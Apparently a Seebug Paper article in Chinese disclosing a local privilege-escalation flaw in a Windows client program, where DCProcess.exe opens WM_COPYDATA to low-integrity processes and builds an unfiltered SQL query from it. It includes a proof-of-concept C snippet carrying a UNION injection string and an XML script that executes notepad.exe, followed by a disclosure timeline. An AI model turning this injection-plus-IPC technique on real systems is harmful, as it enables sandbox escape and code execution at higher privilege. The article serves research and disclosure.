0x00 前言
每一個安全初學者都喜歡問這樣一個問題,“我應該做web安全還是做二進制安全,哪個更有意思?哪個更有錢途?”
二進制安全就只等于反匯編,逆向,調試,內核 ……?
Web安全就只等于XSS,SQL注入,CSRF,webshell ……?
當兩者結合起來的時候會發生什么美妙的事情呢?
一個典型的Web系統運行于Linux平臺,使用Apache作為服務器,用PHP完成功能邏輯,重要數據存儲在MySQL數據中,接收用戶輸入并返回信息。對于客戶端軟件來說其實也存在類似的架構,軟件運行在Windows系統上,用C/C++完成功能邏輯,可能用SQLite存儲重要數據,支持進程間通信。
那么在二進制漏洞挖掘中是否可用使用Web漏洞挖掘的思路呢?
筆者在研究某客戶端軟件時發現了一個非常有意思的邏輯安全漏洞。本文筆者將展示如何使用客戶端軟件中存在的SQL注入漏洞,實現本地權限提升,使用漏洞可以繞過IE沙箱等的限制,在高權限進程的上下文中執行任意代碼。
0x01基礎知識
1.1 用戶界面特權隔離(UIPI)
用戶界面特權隔離,即 User Interface Privilege Isolation,是Windows Vista后引入的一種新的安全機制。限制低完整性級別的進程向高完整性級別的進程窗口發送消息,從而減少攻擊面,防止低完整性級別的惡意程序,通過進程間通信,在高完整性級別的上下文里執行任意代碼,從而提升權限。
1.2 ChangeWindowMessageFilter[Ex]
由于UIPI的限制,低完整性級別的進程向高完整性級別的進程發送消息時會返回拒絕訪問,但是Windows提供了ChangeWindowMessageFilter和ChangeWindowMessageFilterEx函數,可以用來關閉UIPI的限制,完美繞過Windows提供的防護機制。
1.3 SQL注入
SQL注入攻擊(SQL Injection),簡稱注入攻擊,是Web開發中最常見的一種安全漏洞。可以用它來從數據庫獲取敏感信息,或者利用數據庫的特性執行添加用戶,導出文件等一系列惡意操作,甚至有可能獲取數據庫乃至系統用戶最高權限。
而造成SQL注入的原因是因為程序沒有有效過濾用戶的輸入,使攻擊者成功的向服務器提交惡意的SQL查詢代碼,程序在接收后錯誤的將攻擊者的輸入作為查詢語句的一部分執行,導致原始的查詢邏輯被改變,額外的執行了攻擊者精心構造的惡意代碼。
0x02 客戶端軟件SQL注入漏洞
本節將介紹筆者在研究某客戶端軟件時發現的一個安全漏洞,為讀者展示如何使用Web安全的思路,獲得一個本地權限提升漏洞。
2.1 進程間通信
開機后該軟件會啟動DCProcess.exe程序,為了進程間通信,該程序會調用ChangeWindowMessageFilter函數,關閉UIPI機制。
逆向代碼如下所示:
v7 = GetProcAddress(v5, "ChangeWindowMessageFilter");
(v7)(WM_COPYDATA, MSGFLT_ADD);
此舉會導致低完整性級別的程序可以向DCProcess.exe程序發送WM_COPYDATA消息。
該軟件通過WM_COPYDATA消息來控制DCProcess.exe程序運行特定腳本,腳本程序放置在程序目錄Scripts下,如圖2.1所示

2.2 SQL注入漏洞
腳本的信息存儲在DC_Container.s3db數據庫中,其中tbl_script表如圖2.2所示

DCProcess.exe通過SQL查詢語句來獲取腳本運行的相關信息,但是在此處并沒有對用戶輸入進行過濾,導致存在SQL注入問題。
sub_1001BD60("select * from tbl_script where ID = '%s'", v2);//其中 v2為WM_COPYDATA傳遞的數據
通過SQL注入漏洞,可以控制執行腳本的路徑,從而執行我們構造的腳本。
POC如下所示:
HWND hWnd=FindWindow(0,L"DCCoreProcess");
WCHAR str[]=L"' and 1=0 union select 1,'test','../../../../../test/test.xml',0,3,1,'test',0,0,0 where '1'='1";
COPYDATASTRUCT MyCDS;
MyCDS.dwData=0xFBE;
MyCDS.cbData=sizeof(str);
MyCDS.lpData=str;
SendMessage(hWnd,WM_COPYDATA,(WPARAM)hCurrentWnd,(LPARAM)&MyCDS);
上述代碼會使DCProcess.exe程序執行c:\test\test.xml腳本,通過定制該腳本,可以實現任意代碼執行。由于ChangeWindowMessageFilter函數的存在使得IE沙箱之類低完整性級別的程序,可以繞過Windows權限控制體系,在DCProcess.exe的上下文中執行任意代碼。下述腳本演示了如何實現運行notepad.exe程序。
<?xml version="1.0" encoding="UTF-8"?>
<root>
<scripttype value="7"/>
<visible value="1"/>
<scriptlevel value="0"/>
<scriptname value="test"/>
<scriptdes value="test"/>
<process>
<step id="10453f34-86fa-7aee-e4fc-bbfcbd21a27c" name="ExecuteFile" desc="test" dll="ShellApi" dllURL="/download/dll/ShellApi.dll" dllPath="" com_dll="" com_dllURL="" com_dllPath="" continueOnFail="0" osType="2">
<para name="Path" isInput="true" position="1" datatype="4" value="c:\windows\system32\notepad.exe"/>
<para name="Arguments" isInput="true" position="2" datatype="4" value=""/>
<para name="ExecuteAccount" isInput="true" position="3" datatype="4" value="0"/>
<para name="WaitComplete" isInput="true" position="4" datatype="3" value="0"/>
</step>
</process>
</root>
0x03 總結
該漏洞其實并不復雜,危害程序也有限,但是在客戶端軟件的開發中使用關系型數據庫,輸入可控,又不對輸入數據進行校驗,導致通過SQL注入來實現權限提升,卻是一個非常有趣的問題。
據此我們也可以發現,二進制安全和Web安全,并沒有嚴格的界限,擁有更廣的知識面,更靈活的思路,才有可能發現更多,更有趣的安全漏洞。
Disclosure Timeline:
2016/12/26 向相關廠商提供漏洞細節 2016/12/26 回復確認 2016/12/29 確認漏洞,并停產此款軟件 2017/01/05 詢問是否出安全補丁 2017/01/05 回復已下線軟件,不再上線使用 2017/01/19 公開漏洞
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/263/